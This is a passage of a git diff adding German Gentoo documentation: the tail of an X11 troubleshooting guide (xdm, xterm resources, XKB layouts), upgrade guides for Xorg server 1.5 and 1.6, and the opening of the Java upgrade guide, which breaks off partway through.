+  DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+  DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+  DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+... auf diese:
+</comment>
+  ! The following three resources set up display :0 as the console.
+  <i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+  DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+  DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+<note>
+Auf 64Bit multilib Systemen mit dem no-symlink Profil müssen Sie lib in lib64
+ändern.
+</note>
+
+<p>
+In diesem von Joe Womack eingeschickten Beispiel werden wir einige <c>xterm</c>
+Einstellungen anpassen. Dies kann entweder global oder benutzerspezifisch
+gemacht werden.
+</p>
+
+<pre caption="Globales Anpassen von app-defaults/XTermn-color">
+<comment>
+Analog zum obigen Beispiel kopieren Sie die Datei nach /etc, damit sie
+konfigurations-geschützt ist:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Ändern Sie die Datei wunschgemäß. Jetzt müssen wir Xt mittels
+XFILESEARCHPATH mitteilen, wo es die Dateien finden kann. Wir machen dies
+in einer Datei unter /etc/env.d:
+</comment>
+# <i>echo '# Dies betrifft systemweite Anpassungen.' >> /etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >> /etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Lokales Anpassen von app-defaults/XTerm-color">
+<comment>Es gibt zwei Wege, dies zu tun:</comment>
+<comment>
+1) Einrichten eines benutzerspezifischen app-defaults Verzeichnnis:
+</comment>
+# <i>echo '# Dies betrifft Anpassungen durch den Benutzer in $HOME/app-defaults.' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Erstellen Sie eine .Xdefaults oder .Xresources und kopieren Sie die
+Einstellungen, die Sie ändern möchten. Dieses Beispiel ändert alle XTerms so,
+dass sie einen orangen Cursor haben, als Login-Shell laufen, einen Scrollbar
+und einen 1000 Zeilen Puffer zum rückwärts blättern besitzen:
+</comment>
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+Um diese Einstellungen zu aktivieren, starten Sie entweder X neu oder
+führen Sie Folgendes aus:
+</comment>
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+Schauen Sie sich  http://www.faqs.org/faqs/x-faq/part2/section-22.html für
+genauere Details zu den Einstellungen XFILESEARCHPATH und XUSERFILESEARCHPATH
+an. Werfen Sie einen Blick auf
+http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES für
+Details zu .Xresources.
+</note>
+
+</body>
+</section>
+<section>
+<title>Treiberprobleme</title>
+<body>
+
+<p>
+Ich habe Berichte erhalten, dass:
+</p>
+
+<ul>
+  <li>vesa den Rechner bei Matrox-Karten einfriert</li>
+  <li>vga einen eigenartigen Bildschirm produziert, der geviertelt ist</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>3D-Beschleunigung wieder zum Laufen bekommen</title>
+<body>
+
+<p>
+Um einige Debug-Informationen zu bekommen, die dabei helfen Direct Rendering
+ans Laufen zu bekommen:
+</p>
+
+<pre caption="Einige Debug-Informationen erhalten">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Automatische Erkennung des Maus-Protokolls</title>
+<body>
+
+<p>
+Wenn Sie <c>"Protocol" "auto"</c> in der xorg.conf für Ihre Maus gesetzt haben,
+funktioniert sie möglicherweise nicht. Sie müssen eventuell
+<c>"Protocol" "ExplorerPS/2"</c> oder <c>"IMPS/2"</c> eintragen, damit Ihr
+Mausrad funktioniert.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ich bekomme Fehlermeldungen, dass libbitmap oder libpcidata nicht
+gefunden werden konnten</title>
+<body>
+
+<p>
+Stellen Sie sicher, dass kein <c>ModulePath</c> Eintrag in
+<path>/etc/X11/xorg.conf</path> existiert.
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdm funktionieren nicht</title>
+<body>
+
+<p>
+Wenn Sie modulares X auf einer frischen Gentoo-Installation eingerichtet haben,
+werden Sie womöglich keinen <path>/usr/X11R6</path> -&gt; <path>/usr</path>
+Symlink haben. Das <c>x11-base/xorg-x11</c> Paket wird sicherstellen, dass der
+symbolische Link während des emerge-Prozesses besteht.
+</p>
+
+<p>
+Indem Sie die Pakete ausbessern, die sich dorthin installieren, können Sie
+dabei helfen, die Dinge aus <path>/usr/X11R6</path> zu entfernen. Vergessen Sie
+außerdem nicht, diese Paket zu re-installieren.
+</p>
+
+<pre caption="Pakete, die nach /usr/X11R6 installieren">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB funktioniert nicht, ich kann nicht zwischen virtuellen Konsolen
+wechseln, usw.</title>
+<body>
+
+<ul>
+  <li>
+    Viele XKB-Layouts sind gewandert, zusammengelegt worden oder verschwunden.
+    Werfen Sie einen Blick auf <path>/usr/share/X11/xkb/symbols/</path>, um
+    zu sehen, was mit Ihren alten XKB-Layouteinstellungen in xorg.conf
+    passiert ist. Um beispielsweise das alte "us_intl"-Layout zu ersetzen,
+    würden Sie <c>"XkbLayout" "latin"</c>,
+    <c>"XkbOptions" "lv3:ralt_switch"</c> einsetzen. Um das alte
+    "sk_qwerty"-Layout zu ersetzen, würden Sie <c>"XkbLayout" "sk"</c>,
+    <c>"XkbVariant" "qwerty"</c> einsetzen. Ein detaillierteres Beispiel, Sie
+    haben eventuell <c>"XkbLayout" "us,sk_qwerty"</c>: Um das ans Laufen zu
+    bekommen, wäre die neue Einstellung <c>"XkbLayout" "us,sk"</c>. Der Trick
+    ist das Komma in diesem Abschnitt hier: <c>"XkbVariant" ",qwerty"</c>,
+    da Sie diese Variante dem zweiten Layout zuordnen.
+  </li>
+</ul>
+
+<pre caption="XKB-Änderungen ausfindig machen">
+<comment>Checken Sie /var/log/Xorg.0.log auf diese Nachricht:</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>Wenn Sie diesen Fehler nicht haben, funktioniert Ihr XKB bereits.
+</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+        Option "XkbModel"  "logibik"
+        Option "XkbLayout"  "dvorak"
+        Option "XkbOptions" "ctrl:swapcaps"
+<comment>Betrachten Sie als erstes, was sich an Ihrem Layout geändert hat. Dies ist das symbols/pc Verzeichnis.</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>Wenn Sie xkbdata anstelle von xkeyboard-config installiert haben,
+wechseln Sie in das pc/ Unterverzeichnis.</comment>
+# <i>ls *dvorak*</i>
+<comment>OK, nichts wird angezeigt.</comment>
+<comment>Viele der alten Layouts wurden in in ihre regionalen Keymaps
+verschoben.</comment>
+# <i>ls *us*</i>
+us
+<comment>Jetzt suchen wir eine xkb_symbols-Variante namens dvorak.</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>Dies bedeutet, dass wir in der xorg.conf die Optionen
+"XkbLayout" "us"</comment>
+<comment>und "XkbVariant" "dvorak" benötigen.</comment>
+
+<comment>Wenn wir dies jedoch mit setxkbmap testen, erhalten wir immer noch
+einen Fehler.</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Vielleicht hat das Model sich ebenfalls geändert.</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>Keine Ausgabe, also ist das Model weg. Was ist mit
+ähnlichen?</comment>
+# <i>grep logi* xorg.lst</i>
+  logiaccess      Logitech Access Keyboard
+  logicdit        Logitech Cordless Desktop iTouch
+  logicdp         Logitech Cordless Desktop Pro
+  logicdpa        Logitech Cordless Desktop Pro (alternate option)
+  logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+  logicdo         Logitech Cordless Desktop Optical
+  logicfn         Logitech Cordless Freedom/Desktop Navigator
+  logicdn         Logitech Cordless Desktop Navigator
+  logidak         Logitech Deluxe Access Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiink         Logitech Internet Navigator Keyboard
+  logiultrax      Logitech Ultra-X Keyboard
+<comment>Großartig! Das "logiik"-Model sieht ähnlich aus, also testen Sie es
+mit setxkbmap.</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option
+"ctrl:swapcaps"</i>
+<comment>Es funktioniert, also ändern Sie den XkbModel-Eintrag auf diesen.
+</comment>
+<comment>Danach funktioniert alles.</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Andere Probleme</title>
+<body>
+
+<ul>
+  <li>
+    Das <c>x11-base/xorg-x11</c>-Paket filtert nun alle ModulePath- und
+    RgbPath-Zeilen aus ihrer <path>/etc/X11/xorg.conf</path>, da beide
+    dieser Pfade sich seit den früheren Versionen geändert haben. Stellen
+    Sie sicher, dass Sie <c>etc-update</c> ausgeführt haben, um diese
+    Änderungen abzuschließen. Wenn Sie aus irgendeinem Grund nicht
+    rausgefiltert wurden, entfernen Sie sie selbst.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml b/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
new file mode 100644
index 00000000..8b77f910
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
@@ -0,0 +1,278 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml,v 1.3 2009/10/05 12:56:06 keytoaster Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/de/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml" lang="de">
+<title>Xorg 1.5 Upgrade Leitfaden</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Übersetzer">
+  <mail link="micm@gentoo.org">Michael Münch</mail>
+</author>
+
+<abstract>
+Dieser Leitfaden zeigt Ihnen, wie Sie X.org auf die Version 1.5 upgraden.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Ebuild Änderungen</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <c>x11-misc/xkbdata</c> ist nun vollständig veraltet. Wenn Sie noch nicht
+    den Ersatz (<c>x11-misc/xkeyboard-config</c>) benutzt haben, wird Portage
+    Sie fragen, es zu entfernen, bevor mit dem Update fortgefahren wird.
+  </li>
+  <li>
+    X erzwingt kein zweifaches verstecktes Bauen von <c>media-libs/mesa</c>.
+    Mesa baut jetzt den Software-Renderer (swrast) und den Hardwaretreiber, den
+    Sie über die <c>VIDEO_CARDS</c>-Variable ausgewählt haben.
+  </li>
+  <li>
+    Aufgrund der obigen Änderung wurde das <c>dri</c> USE-Flag entfernt. Xorg
+    besitzt nun immer Unterstützung für OpenGL, solange <c>USE=minimal</c> nicht
+    gesetzt ist.
+  </li>
+  <li>
+    XPrint wurde in Xorg 1.6 und neueren Versionen entfernt, aber wir haben uns
+    dazu entschlossen, es auch aus 1.5 zu entfernen. Unterstützung für XPrint
+    wurde aus allen X-Bibliotheken entfernt.
+  </li>
+  <li>
+    Xorg unterstützt nun HAL für automatisches Hot-Plugging von Eingabegeräten.
+    Lesen Sie den Abschnitt weiter unten für Informationen zu der Konfiguration.
+  </li>
+  <li>
+    Der "synaptics"-Treiber wird nun von <c>x11-drivers/xf86-input-synaptics</c>
+    bereitgestellt.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguration der Eingabe</title>
+<section>
+<title>Mit HAL (mit xf86-input-evdev)</title>
+<body>
+
+<p>
+Kurz gesagt, HAL erlaubt Ihnen exakt die gleichen Einstellungen wie in der Datei
+<path>xorg.conf</path> zu setzen, aber mit deutlich mehr Flexibilität: Sie
+können nun zum Beispiel Layouts pro Gerät einrichten. All das wird durch den
+<c>xf86-input-evdev</c>-Treiber bereitgestellt.
+</p>
+
+<p>
+Als erstes vergewissern Sie sich, dass Sie xorg-server mit
+<c>INPUT_DEVICES="evdev"</c> gebaut haben und evdev in Ihrem Kernel aktiviert
+ist.
+</p>
+<pre caption="Konfiguration für 2.6er Kernel">
+Device Drivers ---&gt;
+
+Input device support ---&gt;
+
+--- Input device support
+[*]     Event interface
+</pre>
+
+<p>
+Danach können wir HAL konfigurieren, um das korrekte Tastaturlayout zu erkennen.
+HAL wird mit Geräteregeln, die in <path>/usr/share/hal</path> gefunden werden
+können, ausgeliefert.
+</p>
+
+<impo>
+Ändern Sie diese <e>nicht</e>, sie werden während des nächsten Updates von HAL
+überschrieben. Sie können stattdessen Ihre eigenen Regeln in
+<path>/etc/hal/fdi/policy</path> hinzufügen.
+</impo>
+
+<p>
+Einfache FDI-Konfigurationsdateien sind unter
+<path>/usr/share/doc/hal-*/*.fdi*</path> verfügbar. Wählen Sie diejenige, die
+Ihrer jetzigen Konfiguration am ehesten entspricht und kopieren Sie sie nach
+<path>/etc/hal/fdi/policy</path>.
+</p>
+
+<p>
+Wenn Sie zum Beispiel nur eine grundlegende Konfiguration für ein
+nicht-US-Tastaturlayout benötigen, kopieren Sie den Inhalt von
+<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path> nach
+<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path> (mit Hilfe von
+<c>bzcat</c>) und editieren Sie die Datei, um Ihrem gewünschten Tastaturlayout
+zu entsprechen.
+</p>
+
+<p>
+Vergessen Sie nicht, <c>man evdev</c> zu lesen, um sich die Fähigkeiten und
+Optionen (insbesondere bezüglich der Emulation von Mausrad, mittlerer Maustaste,
+...) des Treibers anzusehen.
+</p>
+
+<note>
+Aktuelle Versionen von HAL können (noch) keine Änderungen an den FDI-Dateien von
+alleine annehmen. Sie müssen dazu HALs Initskripte neu starten, um Ihre
+Änderungen zu sehen. Um sich zu vergewissern, dass alles korrekt ist, benutzen
+Sie das Tool <c>lshal</c>, um sich den Gerätebaum von HAL anzeigen zu lassen,
+und suchen Sie nach "input". Der Inhalt Ihrer HAL-Regeln sollte in lshal's
+Ausgabe erscheinen.
+</note>
+
+</body>
+</section>
+<section>
+<title>Mit HAL und anderen Treibern (xf86-input-synaptics, linuxwacom, ...)</title>
+<body>
+
+<p>
+Standardmäßig wird HAL Ihrem X-Server sagen, er solle den <c>evdev</c>-Treiber
+benutzen, um alle Eingabegeräte anzusprechen. Dieses kann allerdings, wenn Sie
+es wollen, auf alle Eingabetreiber geändert werden.
+</p>
+
+<p>
+Sie können daher die Konfiguration aller Ihrer Eingabegeräte in HAL eingeben,
+selbst wenn Sie andere Eingabetreiber wie <c>synaptics</c> oder
+<c>linuxwacom</c> benutzen.
+</p>
+
+<p>
+Weitere Informationen darüber, wie Sie diese Treiber konfigurieren, finden Sie
+hier:
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ohne HAL</title>
+<body>
+
+<p>
+Wenn Sie HAL nicht verwenden wollen, können Sie entweder <c>xorg-server</c> mit
+<c>USE="-hal"</c> bauen oder die Option AutoAddDevices in dem Abschnitt
+ServerFlags Ihrer <path>xorg.conf</path> deaktivieren.
+</p>
+
+<pre caption="AutoAddDevices deaktivieren">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+Beide Optionen erlauben dem X-Server die alten <c>mouse</c> und <c>kbd</c>
+Treiber zu verwenden.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguration der Grafikkarte</title>
+<section>
+<body>
+
+<p>
+Der Abschnitt "Device" in Ihrer xorg.conf sollte meistens unverändert
+funktionieren.
+</p>
+
+<p>
+Wenn Sie allerdings Probleme haben, sind hier ein paar Schritte aufgeführt, die
+Sie ausprobieren können:
+</p>
+
+<ul>
+  <li>
+    Versuchen Sie alle "Options" in den Abschnitten "Device", "Screen" und
+    "Monitor" in Ihrer xorg.conf auszukommentieren.
+  </li>
+  <li>
+    Noch besser, versuchen Sie Xorg ohne <e>jegliche</e> <path>xorg.conf</path>
+    zu starten (Sie können sie in <path>xorg.conf.old</path> umbenennen).
+  </li>
+</ul>
+
+<p>
+Xorg-Treiber können jetzt viel besser erkennen, welche Art von Hardware Sie
+besitzen und die Standardeinstellungen sollten (bis auf <e>wenige</e>
+Sonderfälle) beibehalten werden.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Verschiedene Optionen</title>
+<section>
+<body>
+
+<p>
+Die alte Behandlung von Schriften wurde in unserer Version von 1.5.3 ziemlich
+durchgeschüttelt. Das <c>freetype</c>-Modul ist nun überflüssig, da der Server
+<c>libXfont</c> benutzt, um jegliche vorhandene Schriften für ältere Anwendungen
+zu laden.
+</p>
+
+<p>
+Was Legacy-Schriften selbst betrifft, sind sie nun nahezu nutzlos, da wir eine
+integrierte "fixed"-Schrift bereitstellen. Alle älteren Anwendungen und
+Toolkits sollten in der Lage sein, diese zu nutzen. Aber Vorsicht, diese Schrift
+ist äußerst hässlich.
+</p>
+
+<p>
+Xdmx ist kaputt. Benutzen Sie es nicht, wenn Sie nicht wissen, was Sie tun.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Fehlerbehebung</title>
+<section>
+<body>
+<p>
+Wenn Sie merkwürdiges Mausverhalten in allen SDL-basierten Anwendungen (viele
+Spiele) haben, müssen Sie folgendes in Ihrer <path>xorg.conf</path> setzen:
+</p>
+<pre caption="DGA ausschalten">
+Section "Module"
+       ...
+       SubSection  "extmod"
+         Option    "omit xfree86-dga"
+       EndSubSection
+       ...
+EndSection
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml b/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
new file mode 100644
index 00000000..24fa1811
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml,v 1.2 2009/12/19 19:35:20 keytoaster Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="de">
+<title>Xorg 1.6 Upgrade Leitfaden</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster"/>
+</author>
+
+<abstract>
+Dieser Leitfaden zeigt Ihnen, wie Sie X.org auf Version 1.6 aktualisieren.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-06-14</date>
+
+<chapter>
+<title>Ablauf der Aktualisierung</title>
+<section>
+<body>
+
+<p>
+Wenn Sie xorg-server upgraden, müssen Sie sehr wahrscheinlich auch <c>libxcb</c>
+upgraden. Die Aktualisierung dieser Bibliothek ist nicht so einfach, wie es
+scheinen mag. Aus diesem Grund hat <uri
+link="libxcb-1.4-upgrade-guide.xml">libxcb einen eigenen
+Upgrade-Leitfaden</uri>.
+</p>
+
+<warn>
+Bitte lesen und befolgen Sie den <c>libxcb</c> Upgrade-Leitfaden bevor Sie
+xorg-server aktualisieren, da Sie ansonsten ein gänzlich kaputtes System
+riskieren.
+</warn>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Verschiedene Optionen</title>
+<section>
+<body>
+
+<p>
+Xorg ignoriert nun standardmäßig Strg-Alt-Rückschritt. Wenn Sie dieses
+<e>Zapping</e> wieder aktivieren wollen, gibt es eine Reihe von Optionen:
+</p>
+
+<ul>
+  <li>
+    Wenn Sie Gnome verwenden, gehen Sie in das Tastatureinstellungen-Applet
+    im Menü Systemeinstellungen. Im Tab "Layout" klicken Sie auf
+    "Layoutoptionen" und aktivieren "Tastenkombination um den X-Server zu
+    beenden". Diese Einstellung wird in GConf gespeichert.
+  </li>
+  <li>
+    Wenn Sie Zapping ohne ein grafisches Werkezeug aktivieren wollen, führen Sie
+    einfach <c>setxkbmap -option terminate:ctrl_alt_bksp</c> aus.
+  </li>
+</ul>
+
+<p>
+Wenn Sie die Änderung permanent machen wollen, unabhängig von Ihre
+Desktopumgebung, haben Sie einige weitere Optionen:
+</p>
+
+<ul>
+  <li>
+    Wenn Sie HAL zur Verwaltung ihrer Eingabegeräte verwenden, kopieren Sie den
+    folgenden HALL fdi Ausschnit in die fdi-Datei unter
+    <path>/etc/hal/fdi/policy/</path>, die Sie verwenden, um Ihre Tastatur zu
+    konfigurieren. <c> &lt;merge key="input.xkb.options"
+    type="string"&gt;terminate:ctrl_alt_bksp&lt;/merge&gt; </c> Wenn Sie keine
+    benutzerdefinierten Tastaturregeln besitzen, können Sie die Regeln aus
+    <path>/usr/share/hal/fdi/policy/10osvendor/10-x11-input.fdi</path> kopieren
+    und anpassen.
+  </li>
+  <li>
+    Wenn Sie immer noch <path>xorg.conf</path> zur Verwaltung Ihrer
+    Eingabegeräte verwenden, fügen Sie einfach folgendes zum Abschnitt
+    InputDevice Ihrer Tastatur hinzu: <c>Option "XkbOptions"
+    "terminate:ctrl_alt_bksp"</c>.
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/java/java-upgrade.xml b/xml/htdocs/proj/de/java/java-upgrade.xml
new file mode 100644
index 00000000..f7bcd841
--- /dev/null
+++ b/xml/htdocs/proj/de/java/java-upgrade.xml
@@ -0,0 +1,251 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/java/java-upgrade.xml,v 1.2 2008/08/29 22:07:58 keytoaster Exp $ -->
+
+<!-- English CVS Version: 1.24 -->
+
+<guide link="/proj/de/java/java-upgrade.xml" lang="de">
+<title>Gentoo Java Aktualisierungsleitfaden</title>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Author">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="stefansusenet@nurfuerspam.de">Stefan Kienzl</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Dieser Leitfaden zeigt ihnen wie Sie Java auf die neue Java Generation auf einem
+Gentoo aktualisieren, einhergehend mit bekannten Konzepten und Werkzeugen.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Einführung</title>
+
+<section>
+<body>
+<p>
+Hallo und herzlich willkommen. Sie werden sich vermutlich fragen "Warum sollte
+ich mein Java ugraden wollen?". Vielleicht haben sie diesen Prozess aber auch
+schon begonnen und wurden wegen einem Fehler während eines Merges auf diese
+Seite geleitet? Wie auch immer, das Ziel dieses Dokuments ist es Ihnen während
+des Upgradens auf das neue Java-System zu helfen. Aber was ist eigentlich mit
+diesem neuen Java-System los?
+</p>
+</body>
+</section>
+
+<section>
+<title>Das neue Java-System</title>
+<body>
+<p>
+Für diejenigen, die mit dem neuen Java-System noch nicht vertraut sind, folgt
+nun eine kurze Liste der neuen Funktionen:
+</p>
+
+<ul>
+<li>Fähigkeit die aktuelle VM fliegend umzuschalten</li>
+<li>
+  Änderungen an der Benutzer- und System-VM treten direkt in Kraft und sind
+  nicht mehr an die Shell-Umgebung gebunden (d.h. env-update &amp;&amp; source
+  /etc/profile nach dem Umschalten der System-VM wird nicht mehr benötigt)
+</li>
+<li>
+  Hat nun das Konzept einer "Bau-VM", welche benutzt wird um Pakete zu emergen
+  und unabhängig von der System-VM konfiguriert wird.
+</li>
+<li>
+  Für jede Version von Java, d.h. 1.3, 1.4, 1.5, usw., kann die Bau-VM
+  darauf hin konfiguriert werden, welcher Anbieter und welche Version einer VM
+  benutzt wird
+</li>
+<li>
+  Die VM zur Emergezeit wird gemäß ihrer Konfiguration fliegend umgeschaltet,
+  genau wie die Abhängigkeit des Pakets. Zum Beispiel lassen sich einige
+  Pakete nicht mit 1.5 kompilieren. In diesem Fall wird eine 1.4-VM zur
+  Bauzeit verwendet.
+</li>
+<li>
+  Java-Pakete, welche mit ant gebaut werden, werden ihre build.xml zur Bauzeit
+  neuschreiben, um zu gewährleisten, dass die richtige Version von
+  Java-Bytecode kompiliert wird.
+</li>
+<li>
+  Java 1.5 ist unmaskiert, nachdem es einige Zeit in package.mask gewesen ist
+</li>
+<li>Java 1.6 wird verfügbar gestellt so bald es veröffentlicht ist.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Fachausdrücke / Konzepte</title>
+<body>
+
+<p>
+Da Sie nun einen Einblick haben, auf was Sie sich gefasst machen müssen... Hier
+sind einige Ausdrücke, die Sie vor dem Beginn wahrscheinlich für brauchbar
+halten.
+</p>
+
+<dl>
+  <dt>Generation</dt>
+  <dd>
+    Das ist ein neues Konzept. Die Idee ist, dass eine Generation eine Sammlung
+    von Werkzeugen und Eclasses zum Bauen von Java-Paketen ist. Als erstes
+    beginnen wir von einer existierenden Generation auf eine neue zu migrieren.
+    Während dieser Zeit, koexistieren beide Generationen auf Ihrem System und im
+    Portage-Baum. Als Beispiel, haben Sie eine System VM für Generation X
+    <e>und</e> eine System-VM für Generation X+1 gesetzt. Dadurch können Pakete,
+    die Generation X und Generation X+1 benutzen, während der Migration zur
+    neuen Generation koexistieren.
+  </dd>
+  <dt>Generation 1</dt>
+  <dd>
+    Diese Generation besteht aus den bestehenden Eclasses (java-pkg, java-utils
+    und java) und <c>java-config-1.</c> Generation 1 ist ein Altlast-System,
+    welches abgeschafft werden wird.
+  </dd>
+  <dt>Generation 2</dt>
+  <dd>
+    Diese Generation besteht aus den neuen Eclasses (java-pkg-2, java-pkg-opt-2,
+    java-ant-2 und java-utils-2) und der neuen Version von java-config. Dies ist
+    die Generation auf die wir migrieren werden.
+  </dd>
+  <dt>Generation 1 System VM</dt>
+  <dd>
+    Das ist die VM die dazu verwendet wird, Java-Pakete durch Verwendung von
+    Eclasses aus Generation 1 zu emergen. Sie wird durch Verwendung von
+    <c>java-config-1 --set-system-vm &lt;Wahl der VM&gt;</c> gesetzt.
+  </dd>
+  <dt>Generation 2 System VM</dt>
+  <dd>
+    Mit Generation 2 wird die System-VM nur für root und für Anwender, die
+    keine Benutzer-VM gesetzt haben, verwendet.
+  </dd>
+  <dt>Generation 2 Build VM</dt>
+  <dd>
+    Generation 2 führt eine neue Klasse von VM ein. Die Build-VM wird während
+    der Mergezeit zum Bauen von Java-Paketen verwendet. Sie wird falls nötig
+    geändert, abhängig vom Paket. Ein Beispiel: Falls sich ein Paket nur mit
+    1.4 kompilieren lässt, wird eine 1.4 VM benutzt. Standardwerte werden in
+    <path>/usr/share/java-config-2/config/jdk-defaults.conf</path> definiert.
+    Zusätzlich kann die Build-VM in
+    <path>/etc/java-config-2/build/jdk.conf</path> konfiguriert werden.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>java-config updaten</title>
+<section>
+<body>
+
+<p>
+Ein neues Paket, <c>java-config-wrapper</c>, wird durch die alten Versionen von
+<c>java-config</c> blockiert, daher sollten wir diese zuerst entfernen:
+</p>
+
+<pre caption="Altes java-config entfernen">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Jetzt sollten wir die neue Version von <c>java-config</c> installieren:
+</p>
+
+<pre caption="Neues java-config installieren">
+# <i>emerge -1 java-config:0 java-config:2</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ihre Umgebung überprüfen</title>
+<section>
+<body>
+
+<p>
